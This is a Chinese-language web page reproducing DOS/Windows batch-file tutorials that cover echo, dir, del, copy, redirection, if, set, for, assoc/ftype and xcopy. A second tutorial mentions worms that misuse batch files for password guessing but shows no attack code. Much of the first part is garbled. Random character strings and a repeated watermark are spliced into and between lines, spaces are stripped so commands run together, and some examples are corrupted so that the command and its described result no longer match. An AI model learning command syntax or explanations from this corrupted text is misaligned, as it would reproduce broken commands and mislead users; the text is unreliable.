配色: 字号:
DOS批处理详细
2015-04-11 | 阅:  转:  |  分享 
  
1echo和@爱好者博墅 ZiD$?:H4y回显命令g7e7w:R7Si0tko:`0@??????????????#关闭单行回显爱好者博墅A''C,wFTHesechooff??????????#从下一行开始关闭回显1qq.L)K"sK1^0@echooff????????#从本行开始关闭回显。一般批处理第一行都是这个$\H7uS|''|nHH%K0echoon??????????#从下一行开始打开回显d2VFr"x]]$d0echo????????????#显示当前是echooff状态还是echoon状态Lt7F7ED?_6Q5f?0echo.????????????#输出一个”回车换行”,空白行[Yr5zDn1P(X%v0????????????????#(同echo,echo;echo+echo[echo]echo/echo\)?-iB:[_LD1u+{0爱好者博墅qv&_}/q,d8C1s:z2errorlevel爱好者博墅(\RL6^lvZ|3K9zz0iecho%errorlevel%爱好者博墅h8Av1K7^yjj.L每个命令运行结束,可以用这个命令行格式查看返回码1{X]xN GI.K-QP0默认值为0,一般命令执行出错会设errorlevel为1爱好者博墅GsbJbMs @y`Z`u5[7tG&[03dir9Apaf7X[0显示文件夹内容爱好者博墅Pps|K)xr:AGdir????????????#显示当前目录中的文件和子目录D,cI4ib0dir/a??????????#显示当前目录中的文件和子目录,包括隐藏文件和系统文件C(b.qU5Yue.d0dirc:/a:d??????#显示C盘当前目录中的目录爱好者博墅H2c(E%y;rT:f)j#F4wdirc:/a:-d??????#显示C盘根目录中的文件?j5lW(Nt[$QT0dirc:\/b/p??????#/b只显示文件名,/p分页显示"_jPl5?.wC[0dir.exe/s??????#显示当前目录和子目录里所有的.exe文件爱好者博墅:[&O B9FV1Zwn爱好者博墅f3u}dp!k,X9d/y4cdnJ#^''@F4`+yKe0切换目录爱好者博墅\U bFC[cd\????????????#进入根目录pNt-LU+gaE:e0cd????????????#显示当前目录爱好者博墅,ZH,A(B4gvcd/dd:\sdk??????#可以同时更改盘符和目录爱好者博墅+m.M$PYtXAX爱好者博墅K9]Tz3Z1Q%RI,OC?Kg5mdfx2q rQ,K%zfV._0创建目录爱好者博墅Ib''G:D7Vfb9z{ Gmdd:\a\b\c??????#如果d:\a不存在,将会自动创建中级目录爱好者博墅7t+Rj(oc]u.z#如果命令扩展名被停用,则需要键入mkdir\a\b\c。)J^.T-x''n4n0爱好者博墅VO:D.i0oI/r4G(R6rd9H\J-d:}q+]''oY0删除目录J0U|3?/]%KkE0rdabc??????????#删除当前目录里的abc子目录,要求为空目录爱好者博墅9CP9S.{v)z$Z1Frd/s/qd:\temp????#删除d:\temp文件夹及其子文件夹和文件,/q安静模式爱好者博墅1G(]5WO#R/JY&~2?ofI爱好者博墅6GII~H7a7del/s+AxV9YeW''i]C%w0删除文件爱好者博墅%mE{qT4@3wdeld:\test.txt????#删除指定文件,不能是隐藏、系统、只读文件oHy}b1H`a}z0del/q/a/fd:\temp\.爱好者博墅9[yN&W9F;a0^删除d:\temp文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录2zZ''u_YN0del/q/a/f/sd:\temp\.&d@''L|(t0删除d:\temp及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录#W#AYWZo0爱好者博墅2[x0ZNaxvHBB8ren爱好者博墅9F,cEH{\.\重命名命令#z|^aw0rend:\temptmp????#支持对文件夹的重命名爱好者博墅l)@kC%~7O爱好者博墅dS&J:oD]u)c9cls daSDbT.elPU0清屏L0^dp:U1{01Q6[6ND3OX{9R!V010type0U U$`y,h]W}%E0显示文件内容爱好者博墅}r.d2_k}Vtypec:\boot.ini????#显示指定文件的内容,程序文件一般会显示乱码爱好者博墅/o;AVh&f6NWtype.txt????????#显示当前目录里所有.txt文件的内容爱好者博墅O`4X:U$Xj)K2Rpf0P;M,Oek`d0C011copy爱好者博墅5FKkgv6^ec{|0g拷贝文件3J(YZy8~e[0copyc:\test.txtd:\test.bak7^TL5Kk:HZ0复制c:\test.txt文件到d:\,并重命名为test.bak爱好者博墅&@-{BSL `y#sLcopycontest.txtd.Q@.mQ5hy0从屏幕上等待输入,按Ctrl+Z结束输入,输入内容存为test.txt文件爱好者博墅@3r@7X;K{%S}con代表屏幕,prn代表打印机,nul代表空设备!_JQ&E%t$T0copy1.txt+2.txt3.txt爱好者博墅oSKJ1X@p&@2Gi合并1.txt和2.txt的内容,保存为3.txt文件爱好者博墅6`0_!E9sK;l如果不指定3.txt,则保存到1.txt[-q3[:RBLi0copytest.txt+te$t;U1o%[n;O-Bwv0复制文件到自己,实际上是修改了文件日期Az8z^X9x,~0爱好者博墅3c5@5@1^ ?/[v%nF12title爱好者博墅jCs)f4E3z设置cmd窗口的标题jVu#YI(@#JU0title新标题??????#可以看到cmd窗口的标题栏变了XHj.d/S|;n I0g;]"zR6wU7r0Jwn013ver爱好者博墅R2B&bv\$Yx显示系统版本UCe/EJnJ n6|0爱好者博墅2Z]-K(E~0|;y14label和volDbP.PH"T0设置卷标爱好者博墅8tP jzR-Qvol????????????#显示卷标爱好者博墅)[1_s3G.t^P)_Xlabel??????????#显示卷标,同时提示输入新卷标爱好者博墅-jQH''`D)z5Xlabelc:system????#设置C盘的卷标为system爱好者博墅(Z|-u1R3r2WM@a%u爱好者博墅u,mcQlB15pause爱好者博墅g5w?''jT%K&i&?X暂停命令爱好者博墅c#rtNo/X爱好者博墅z0gRz^#ez.u16rem和::爱好者博墅6HOt7_#UxQq注释命令yV4]8r6u6mh''g(x+T0注释行不执行操作爱好者博墅{j&F(V''FX0R!es爱好者博墅xZ.y''US`;x17date和time爱好者博墅-]]/Brz日期和时间爱好者博墅4g{x0hq1Q~;q0Udate????????#显示当前日期,并提示输入新日期,按\"回车\"略过输入爱好者博墅Y8X.q8z$[O;Ksdate/t??????#只显示当前日期,不提示输入新日期爱好者博墅Aakx8g%N1bPrtime????????#显示当前时间,并提示输入新时间,按\"回车\"略过输入fU2n0sn8pg''_!m0time/t??????#只显示当前时间,不提示输入新时间爱好者博墅}?.y4k/Z!]3~t爱好者博墅b5PT?''tJ18goto和:爱好者博墅2T~[,^vb%?z"a跳转命令爱好者博墅4BA],TC4C:label??????#行首为:表示该行是标签行,标签行不执行操作爱好者博墅]Ifj,}5m$}+h%rLtdgotolabel????#跳转到指定的标签那一行`y_h%{X)kfv#rG0F3ChI7r:dj"i/n019find(外部命令)爱好者博墅ZI3xff7bp_查找命令爱好者博墅9@,rC9n&Z;w1bfind\"abc\"c:\test.txtzD8?;R4^fK2a0在c:\test.txt文件里查找含abc字符串的行6|QO.QH@9rJ0如果找不到,将设errorlevel返回码为1+h:V]3u.Znh~0find/i“abc”c:\test.txt q9I(o"dVB tET0查找含abc的行,忽略大小写C jwZ b%J:r0find/c\"abc\"c:\test.txt爱好者博墅4^''E0[qMofm;uO显示含abc的行的行数~v p,bl0[0''NFH~Y8e020more(外部命令)爱好者博墅,U.X P$]v(_n+F逐屏显示:EaqFng.n0morec:\test.txt????#逐屏显示c:\test.txt的文件内容爱好者博墅bp_kVr?&P-c7[L }s;G''L021tree-r/Wz pZ''i;Rm!W0显示目录结构~/aN$QsV0treed:\????????#显示D盘的文件目录结构爱好者博墅9u7q)Q(IeHuWS爱好者博墅;LR%gZ)dYo"a-^22&Az3Aw%i]k0顺序执行多条命令,而不管命令是否执行成功]2{Ba:|C0爱好者博墅 W0Z&D,Z5wT23&&}!m2a{[n.G0顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令~;z0Y$]n%CI0find\"ok\"c:\test.txt&&echo成功l&M?dbb1D/bJX4{0如果找到了\"ok\"字样,就显示\"成功\",找不到就不显示爱好者博墅1ed\};N"{}H9X8LpCE}024||B/b@)j {e0顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令爱好者博墅+CBJI6rfind\"ok\"c:\test.txt||echo不成功(HZ#O^6hS7`0如果找不到\"ok\"字样,就显示\"不成功\",找到了就不显示`A#z|~"W&yj0Li{4PHYsb\j7PmR025|爱好者博墅lb$UnawC.t#\管道命令爱好者博墅A,E;Cwa:F[dir./s/a|find/c\".exe\"爱好者博墅y0K~ml6fK管道命令表示先执行dir命令,对其输出的结果执行后面的find命令9A(?~?~@AP0该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数Z5?fU1j0typec:\test.txt|more爱好者博墅M(T {+N7ViP这个和morec:\test.txt的效果是一样的爱好者博墅opt7bAn-BS爱好者博墅0@|wnt]26>和>>爱好者博墅-W0bY\7L{IZf输出重定向命令爱好者博墅6vv-^R^Xfd~h>清除文件中原有的内容后再写入E0u$w_''kh0>>追加内容到文件末尾,而不会清除原有的内容爱好者博墅e8?Zw6d"F`7a[l主要将本来显示在屏幕上的内容输出到指定文件中+iKP6DdMc8?q,}P!{0指定文件如果不存在,则自动生成该文件+TjP;\7s.T]#vA0typec:\test.txt>prn-C~5{P%H-E})K}0屏幕上不显示文件内容,转向输出到打印机爱好者博墅oZGU}yI`echohelloworld>conH)F$}F;o-N;Yn0在屏幕上显示helloworld,实际上所有输出都是默认>con的"Sq5C$^%D%w.J-a7f6z]0copyc:\test.txtf:>nul&{5BE/spTU~0拷贝文件,并且不显示\"文件复制成功\"的提示信息,但如果f盘不存在,还是会显示出错信息爱好者博墅4~1TL1O0p;yLC''`copyc:\test.txtf:>nul2>nul爱好者博墅d^%_Skb-F%t/z[mg不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息$?''{5G/@U?Jx!a/[0echo^^W^>^W>c:\test.txt爱好者博墅Q.@zky2U2E/y生成的文件内容为^W>W&Uhf7Q+F)O0^和>是控制命令,要把它们输出到文件,必须在前面加个^符号CKW;cX.P+jMR0爱好者博墅"i3K;V4a1qGv27<"ap\,Q2Fx0从文件中获得输入信息,而不是从屏幕上qPLh)M,Zo[&B0一般用于datetimelabel等需要等待输入的命令爱好者博墅;a!G_3E%^i{@echooff/BEV:OfC4H0echo2005-05-01>temp.txt''bvMNI0datec:\test.txt爱好者博墅F`S,g?#k0},Qp生成的文件内容为load\"%1\"\"%2\"+`@6G?:|,yf6AD^0?:?0批处理文件里,用这个格式把命令行参数输出到文件hA9V6s0d~_07a"vs&XUoHGc029if爱好者博墅ZUtD@l)f判断命令4V4v+~"n^(|O.t!x0if\"%1\"==\"/a\"echo第一个参数是/a YQ5zx`6p0if/i\"%1\"equ\"/a\"echo第一个参数是/akO.`[DV4T%@0w;\0/i表示不区分大小写,equ和==是一样的,其它运算符参见if/?&|6JD!Ft1d0ifexistc:\test.batecho存在c:\test.bat文件爱好者博墅''O/fET\r\Enifnotexistc:\windows(A%BFv"U''_]O2i6`0????echo不存在c:\windows文件夹爱好者博墅]PJ!u].q3i????)爱好者博墅3[7~L#m1X5N"c5S!QXifexistc:\test.bat(爱好者博墅|f3m$\8T0e}????echo存在c:\test.bat爱好者博墅XPL4\,rvK(R9v????)else(whttK.J#B[gM0????echo不存在c:\test.bat爱好者博墅dy7~1XH,{E7Z????)爱好者博墅1gvJ0HZ{\6MZGjhhg030setlocal和endlocallSB]@vJy0设置”命令扩展名”和”延缓环境变量扩充”[$glD$eT`0SETLOCALENABLEEXTENSIONS????????#启用\"命令扩展名\"爱好者博墅Jhop5ySW1v?SETLOCALDISABLEEXTENSIONS????????#停用\"命令扩展名\"爱好者博墅Sh\p3|NSETLOCALENABLEDELAYEDEXPANSION????#启用\"延缓环境变量扩充\"bDKx,?''k(ri`a-F0SETLOCALDISABLEDELAYEDEXPANSION????#停用\"延缓环境变量扩充\"爱好者博墅ld;Q(}"A?4SENDLOCAL????????????????????#恢复到使用SETLOCAL语句以前的状态p5n_y-Hw/M0“命令扩展名”默认为启用6\)l j9i#a@P0“延缓环境变量扩充”默认为停用爱好者博墅-Zrw5X"J%as批处理结束系统会自动恢复默认值sB;jX"a0可以修改注册表以禁用\"命令扩展名\",详见cmd/?。所以用到\"命令扩展名\"的程爱好者博墅e(v;x9v9CI序,建议在开头和结尾加上SETLOCALENABLEEXTENSIONS和ENDLOCAL语句,以确d`2B0Ns%{_0保程序能在其它系统上正确运行爱好者博墅&N\''O''dmH$w\"延缓环境变量扩充\"主要用于if和for的符合语句,在set的说明里有其实用例程爱好者博墅&ZB+s%f/yD}"dv~/x''f(m,@p1s031set爱好者博墅-K]kK!mO1J$[-u''b设置变量爱好者博墅Z"kt|o/n~H+bv4|4Z引用变量可在变量名前后加%,即%变量名%爱好者博墅!c/k2`vKT|1]yset??????????????#显示目前所有可用的变量,包括系统变量和自定义的变量G&M;p!n,d-`VH0echo%SystemDrive%????#显示系统盘盘符。系统变量可以直接引用爱好者博墅#Xc3hBEaG#^{jbnsetp????????????#显示所有以p开头的变量,要是一个也没有就设errorlevel=1爱好者博墅gIP7Ndmsetp=aa1bb1aa2bb2????#设置变量p,并赋值为=后面的字符串,即aa1bb1aa2bb2爱好者博墅l''P1PL_?/jecho%p%??????????#显示变量p代表的字符串,即aa1bb1aa2bb2爱好者博墅L$O6R"mb`Oecho%p:~6%????????#显示变量p中第6个字符以后的所有字符,即aa2bb2爱好者博墅Qj7`%e%E}+m+QKWecho%p:~6,3%????????#显示第6个字符以后的3个字符,即aa2爱好者博墅0_c3J$mW7D9jecho%p:~0,3%????????#显示前3个字符,即aa1,GEb&Y]!Qu_!~X0echo%p:~-2%????????#显示最后面的2个字符,即b2$LOGPh&wOs1P0echo%p:~0,-2%??????#显示除了最后2个字符以外的其它字符,即aa1bb1aa2b爱好者博墅0}w%Od)YDIRx.c@0VZecho%p:aa=c%????????#用c替换变量p中所有的aa,即显示c1bb1c2bb26x{/H.{sNR0echo%p:aa=%????????#将变量p中的所有aa字符串置换为空,即显示1bb12bb2爱好者博墅0CUouFecho%p:bb=c%??????#第一个bb及其之前的所有字符被替换为c,即显示c1aa2bb2as$ml]-EKp0setp=%p:bb=c%??????#设置变量p,赋值为%p:bb=c%,即c1aa2bb2sx F-Zh(W:q0set/ap=39????????#设置p为数值型变量,值为39tw"@3k''to$u0set/ap=39/10??????#支持运算符,有小数时用去尾法,39/10=3.9,去尾得3,p=3爱好者博墅!lLuqG$z0rVset/ap=p/10????????#用/a参数时,在=后面的变量可以不加%直接引用)B9Lld2BV0set/ap=”1&0″??????#”与”运算,要加引号。其它支持的运算符参见set/?Q0tK;P9v&T&V0setp=????????????#取消p变量bvItv0set/pp=请输入爱好者博墅p?o2ub5{屏幕上显示”请输入”,并会将输入的字符串赋值给变量pj1a%^^o"Gd+Ff0注意这条可以用来取代choice命令爱好者博墅^V-q:H"zU注意变量在if和for的复合语句里是一次性全部替换的,如爱好者博墅` W$|0`x:I[X@echooff爱好者博墅&Wvwk$m^?setp=aaa爱好者博墅''r6]\-U|(}if%p%==aaa((_]hA)j0????echo%p%爱好者博墅H3Ik9X.i9Z+aC????setp=bbb爱好者博墅w7au''ifw&skz]????echo%p% Eroc0XiN0????)lDD"tg5i.mq,h%t0结果将显示gh?U.b]1hq1}|0aaa''\\bu3]0aaam`iE#J3te#@!?0因为在读取if语句时已经将所有%p%替换为aaa爱好者博墅2N8vf(UJ/CN:cd这里的\"替换\",在/?帮助里就是指\"扩充\"、\"环境变量扩充\"yZ)h(JHXg([D8c0可以启用”延缓环境变量扩充”,用!来引用变量,即!变量名!爱好者博墅.`dg3c2k!@K:tj@echooff/Cdt%U`+A0SETLOCALENABLEDELAYEDEXPANSION6d#Oo+[Y5w0setp=aaa爱好者博墅 T7a4ZU&C;gnif%p%==aaa(爱好者博墅 ym{}Q?y~Yj????echo%p%As)P$tIgtAO0????setp=bbb''[^&JkMA/nA2s0????echo!p!爱好者博墅,e_Z7Ql,rA????)-fF2_-xPY,s|0ENDLOCALI?3^`N@0结果将显示]f"|:JAW0aaaaj~+^[0bbb3e\v%XI-Fk,l0还有几个动态变量,运行set看不到爱好者博墅1GK}''`T%CD%????????????#代表当前目录的字符串爱好者博墅O]Tf^{%DATE%????????????#当前日期;m-j"s&uw+P0%TIME%????????????#当前时间爱好者博墅R|Z:j`5T8qA3^d%RANDOM%??????????#随机整数,介于0~32767爱好者博墅6E@6RLi&y,Nf%ERRORLEVEL%????????#当前ERRORLEVEL值X-wF5]!R!x;O:Fz0%CMDEXTVERSION%??????#当前命令处理器扩展名版本号爱好者博墅MI%UW,h)Z?.B%CMDCMDLINE%????????#调用命令处理器的原始命令行l)F4@8om3?U0可以用echo命令查看每个变量值,如echo%time%爱好者博墅eJ6JEB,@0{f&m注意%time%精确到毫秒,在批处理需要延时处理时可以用到]$RK&]EtH0?7wG0爱好者博墅#LE5wC9Z5c!];o32startN)NJ9K6O^.ve0批处理中调用外部程序的命令,否则等外部程序完成后才继续执行剩下的指令3yGg?Ev|''^0爱好者博墅]"l2y.n:Tj3G"e1{6z33call爱好者博墅b&j5Mgk-Cgx|批处理中调用另外一个批处理的命令,否则剩下的批处理指令将不会被执行爱好者博墅!kt/Y+o"P(l,zG有时有的应用程序用start调用出错的,也可以call调用爱好者博墅j\WS2A_H,A爱好者博墅 NX5U)bRvv#J34choice(外部命令)爱好者博墅&W(W$n2m%[KQN选择命令g:?)a8c$}$[zSQ0让用户输入一个字符,从而选择运行不同的命令,返回码errorlevel为1234……爱好者博墅p5hrKvi0{win98里是choice.com爱好者博墅PY\u1B|hE0TQwin2000pro里没有,可以从win98里拷过来Jgnkp''R"@2_+tvgz0win2003里是choice.exe爱好者博墅_F%O;T/Schoice/N/Cy/T5/Dy>nul爱好者博墅Y]#pC~0W-W延时5秒!DALR&wS+P0爱好者博墅1j/Uj!~M1s35assoc和ftype爱好者博墅5eB!DGE9vS1A文件关联,{%?D!cwa0assoc设置''文件扩展名''关联,关联到''文件类型''爱好者博墅yU xz.btftype设置''文件类型''关联,关联到''执行程序和参数''6P)^ayk^t0当你双击一个.txt文件时,windows并不是根据.txt直接判断用notepad.exe打开:m3Pc~2g0而是先判断.txt属于txtfile''文件类型''爱好者博墅A2t,mu?1g"}D\7J再调用txtfile关联的命令行txtfile=%SystemRoot%\system32\NOTEPAD.EXE%1爱好者博墅 B&C9Q#g@;D,{4N#?可以在\"文件夹选项\"→\"文件类型\"里修改这2种关联Pr$[M$pj}"P0assoc????????#显示所有''文件扩展名''关联Z4gi#jF0assoc.txt????#显示.txt代表的''文件类型'',结果显示.txt=txtfile爱好者博墅4x5dV^)O\YSmFassoc.doc????#显示.doc代表的''文件类型'',结果显示.doc=Word.Document.8hRo1\qLQ(~?0assoc.exe????#显示.exe代表的''文件类型'',结果显示.exe=exefile爱好者博墅|a+FstOvC5]ypftype????????#显示所有''文件类型''关联#K9Fw;Q]?0ftypeexefile??#显示exefile类型关联的命令行,结果显示exefile=\"%1\"%爱好者博墅[Nq!Km3qassoc.txt=Word.Document.8爱好者博墅`/`#a"}$Do(_FIt设置.txt为word类型的文档,可以看到.txt文件的图标都变了v:x7e\S%Qp)g-V0assoc.txt=txtfile~)BB7I%zr0恢复.txt的正确关联爱好者博墅8T.}i9T~ftypeexefile=\"%1\"%爱好者博墅 G;qsLYE&gp恢复exefile的正确关联 smy9\4@E0如果该关联已经被破坏,可以运行command.com,再输入这条命令爱好者博墅NnG''d%Cf2xj,~"~0BC2B"G036pushd和popd+UreA"G0切换当前目录5x(e2X6zo:yn0@echooff#b?0apxN%w0c:&cd\&mdmp3??????#在C:\建立mp3文件夹爱好者博墅z)FdTdO,weG!D2Cchmdd:\mp4??????????#在D:\建立mp4文件夹爱好者博墅7Y.A9pX.]Pacd/dd:\mp4????????#更改当前目录为d:\mp4]Jz.tds0pushdc:\mp3????????#保存当前目录,并切换当前目录为c:\mp3Q#m5}$a,wHl`;^0popd??????????????#恢复当前目录为刚才保存的d:\mp4爱好者博墅7_ ZQjnNU爱好者博墅''EJP:fu.Fv$QY/z37forG_vK2`,F''JM`0循环命令爱好者博墅YFt6L{T这个比较复杂,请对照for/?来看s&C3_1u0o''?b2Sy,n0for%%iin(c:d:e:f:)doecho%%i爱好者博墅w(z"DoIkg依次调用小括号里的每个字符串,执行do后面的命令爱好者博墅H8jA{2@+ih注意%%i,在批处理中for语句调用参数用2个%mn F)^9J6~0默认的字符串分隔符是\"空格键\",\"Tab键\",\"回车键\"爱好者博墅tIpM-@"|4a_for%%iin(.txt)dofind\"abc\"%%i爱好者博墅_^Z/F''s$ffL对当前目录里所有的txt文件执行find命令爱好者博墅/j&y)b|y&U\oo4`for/r.%%iin(.txt)dofind\"abc\"%%iA5F+N3OCE1d0在当前目录和子目录里所有的.txt文件中搜索包含abc字符串的行爱好者博墅,y&iLCBn|/sOfor/r.%%iin(.)doecho%%~pni|{v.eN@4vm0显示当前目录名和所有子目录名,包括路径,不包括盘符爱好者博墅:c(os"I%o:Efor/rd:\mp3%%iin(.mp3)doecho%%i>>d:\mp3.txt爱好者博墅;I|"g2Eg+C;M把d:\mp3及其子目录里的mp3文件的文件名都存到d:\mp3.txt里去3O8I''a$d3z.]h0for/l%%iin(2,1,8)doecho%%i爱好者博墅r.kN''Us!k3O生成2345678的一串数字,2是数字序列的开头,8是结尾,1表示每次加1X/yQD#gx0for/f%%iin(''set'')doecho%%i爱好者博墅w,Q-ygOr{对set命令的输出结果循环调用,每行一个g.IUwWWq0kl0for/f\"eol=P\"%%iin(''set'')doecho%%iQvqCpJY5SFg0取set命令的输出结果,忽略以P开头的那几行&AwRi9PE|0for/f%%iin(d:\mp3.txt)doecho%%i-\kSL;Fw1L0显示d:\mp3.txt里的每个文件名,每行一个,不支持带空格的名称爱好者博墅\-M Ew Jvy%Tgfor/f\"delims=\"%%iin(d:\mp3.txt)doecho%%iUCj)A|:de0显示d:\mp3.txt里的每个文件名,每行一个,支持带空格的名称2yAf CA@3J7nb:dG0for/f\"skip=5tokens=4\"%%ain(''dir'')doecho%%ax.a(Mj|w0对dir命令的结果,跳过前面5行,余下的每行取第4列bopsC0每列之间的分隔符为默认的\"空格\"?p.z0P~%L0可以注意到dir命令输出的前5行是没有文件名的(i,QD`2D)u+?0for/f\"tokens=1,2,3delims=-\"%%ain(''date/t'')do(@2Y&J1a8cX0????echo%%a${~IiM;B0????echo%%b爱好者博墅["B+K/rNQ????echo%%cI1x6pA+pDQ0????)爱好者博墅`N6e)Vz对date/t的输出结果,每行取1、2、3列爱好者博墅{(zW7Qxlny+F第一列对应指定的%%a,后面的%%b和%%c是派生出来的,对应其它列$o#E''Pjf''O0分隔符指定为-和\"空格\",注意delims=-后面有个\"空格\"zP5k0F1xZ0其中tokens=1,2,3若用tokens=1-3替换,效果是一样的爱好者博墅&Q"`8s)W-P8iDWfor/f\"tokens=2delims=-\"%%ain(''date/t'')doecho%%b爱好者博墅;u,n%w!\2my[yu8Tr取第2列给%%a,其后的列都给%%bNP_B:ch0|-kLT:aFj038subst(外部命令)爱好者博墅-u(D!B4PSi映射磁盘。爱好者博墅-_Y mVUV[+?substz:\server\d????#这样输入z:就可以访问\server\d了爱好者博墅4TP9F)L~I0j+Rtosubstz:/d??????????#取消该映射爱好者博墅4T;fz%o7@6Fsubst??????????????#显示目前所有的映时/y&WG|flox;b0r9~tTF1a039??xcopy(外部命令)爱好者博墅@3a`EXH;NE文件拷贝}{8q2U;Ws9XW/x7zI0xcopyd:\mp3e:\mp3/s/e/i/y4oh:y2lw"vWM:K0复制d:\mp3文件夹、所有子文件夹和文件到e:\,覆盖已有文件,yY3NO)kOmL0加/i表示如果e:\没有mp3文件夹就自动新建一个,否则会有询问批处理命令大全作者:stone?来源:www.free199.com???

批处理命令详解最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的Worm.Dvldr蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己的批处理。该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。因为教程比较长,所有在杂志上我们将分为两次连载,本期首先刊登一、二两部分,敬请读者注意。第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。1、????REMREM是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:REM你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM会放在REM后面。请大家注意。2、????ECHOECHO是一个回显命令主要参数有OFF和ON,一般用ECHOmessage来显示一个特定的消息。例:EchooffRem以上代表关闭回显即不显示所执行的命令Echo这个就是消息。Rem以上代表显示“这就是消息”这列字符执行结果:C:\>ECHO.BAT这个就是消息。3、????GOTOGOTO即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO:标号直接来执行标号后的命令。例:LABELREM上面就是名为LABEL的标号。DIRC:\DIRD:\GOTOLABELREM以上程序跳转标号LABEL处继续执行。4、CALLCALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:批处理2.BAT内容如下:ECHO这就是2的内容批处理1.BAT内容如下:ECHO这是1的内容CALL2.BATECHO1和2的内容全部显示完成执行结果如下:????C:\>1.BAT????这是1的内容??这就是2的内容????1和2的内容全部显示完成5、PAUSEPAUSE停止系统命令的执行并显示下面的内容。例:C:\>PAUSE请按任意键继续...6、????IFIF条件判断语句,语法格式如下:IF[NOT]ERRORLEVELnumbercommandIF[NOT]string1==string2commandIF[NOT]EXISTfilenamecommand说明:[NOT]将返回的结果取反值即“如果没有”的意思。ERRORLEVEL是命令执行完成后返回的退出值Number退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。string1==string2string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的commandEXISTfilename为文件或目录存在的意思。IFERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IFERRORLEVEL来判断命令的返回值。例:1、????IF[NOT]ERRORLEVELnumbercommand检测命令执行完后的返回值做出判断。echooffdirz:rem如果退出代码为1(不成功)就跳至标题1处执行IFERRORLEVEL1goto1rem如果退出代码为0(成功)就跳至标题0处执行IFERRORLEVEL0goto0:0echo命令执行成功!Rem程序执行完毕跳至标题exit处退出gotoexit:1echo命令执行失败!Rem程序执行完毕跳至标题exit处退出gotoexit:exitRem这里是程序的出口2、????IFstring1==string2command检测当前变量的值做出判断ECHOOFFIF%1==2gotonoEcho变量相等!Gotoexit:noecho变量不相等gotoexit:exit大家可以这样看效果C:\>test.bat数字3、????IF[NOT]EXISTfilenamecommand发现特定的文件做出判断echooffIFnotEXISTautoexec.batgoto1echo文件存在成功!gotoexit:1echo文件不存在失败!gotoexit:exit这个批处理大家可以放在c盘和d盘分别执行看看效果。7、????FORFOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:FOR[%%c]IN(set)DO[command][arguments]在命令行中命令如下:FOR[%c]IN(set)DO[command][arguments]常用参数:/L该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)。/D如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。/F从指定的文件中读取数据作为变量eol=c????-指一个行注释字符的结尾(就一个)skip=n????-指在文件开始时忽略的行数。delims=xxx????-指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过nth符号指定mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。usebackq????-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在filenameset中使用双引号扩起文件名称。下面来看一个例子:FOR/F"eol=;tokens=2,3delims=,"%iin(myfile.txt)do@echo%i%j%k会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母''z''或''Z''的变量。请记住,FOR变量名分大小写,是通用的;而且,同时不能有52个以上都在使用中。您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用FOR/F命令来分析命令的输出。方法是,将括号之间的filenameset变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i会枚举当前环境中的环境变量名称。以下列举一个简单的例子,他将说明参数/L和没有参数的区别:删除文件1.TXT2.TXT3.TXT4.TXT5.TXT例:ECHOOFFFOR/L%%FIN(1,1,5)DODEL%%F.TXT或FOR%%FIN(1,2,3,4,5)DODEL%%F.TXT以上2条命令执行的结果都是一样的如下:C:\>DEL1.TXTC:\>DEL2.TXTC:\>DEL3.TXTC:\>DEL4.TXTC:\>DEL5.TXT8、????SETLOCAL开始批处理文件中环境改动的本地化操作。在执行SETLOCAL之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行ENDLOCAL。达到批处理文件结尾时,对于该批处理文件的每个尚未执行的SETLOCAL命令,都会有一个隐含的ENDLOCAL被执行。例:@ECH